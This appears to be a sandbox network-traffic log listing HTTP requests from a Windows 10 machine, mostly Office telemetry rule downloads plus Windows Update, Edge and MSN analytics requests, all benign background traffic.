Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hgDWNmKv8dUwGCA&MD=dceTccfA HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731517712828&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=28116A1F6C666513052C7F296D6E64D8&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731517712827&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=db7b6e0258744201a330fb48c2848d25&activityId=db7b6e0258744201a330fb48c2848d25&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=28116A1F6C666513052C7F296D6E64D8; _EDGE_S=F=1&SID=1DB41BD73271677812FD0EE1333B664C; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=28116A1F6C666513052C7F296D6E64D8&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=09e5d15234f440a8a3fae90c39a76de2 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=28116A1F6C666513052C7F296D6E64D8; _EDGE_S=F=1&SID=1DB41BD73271677812FD0EE1333B664C; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCI.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
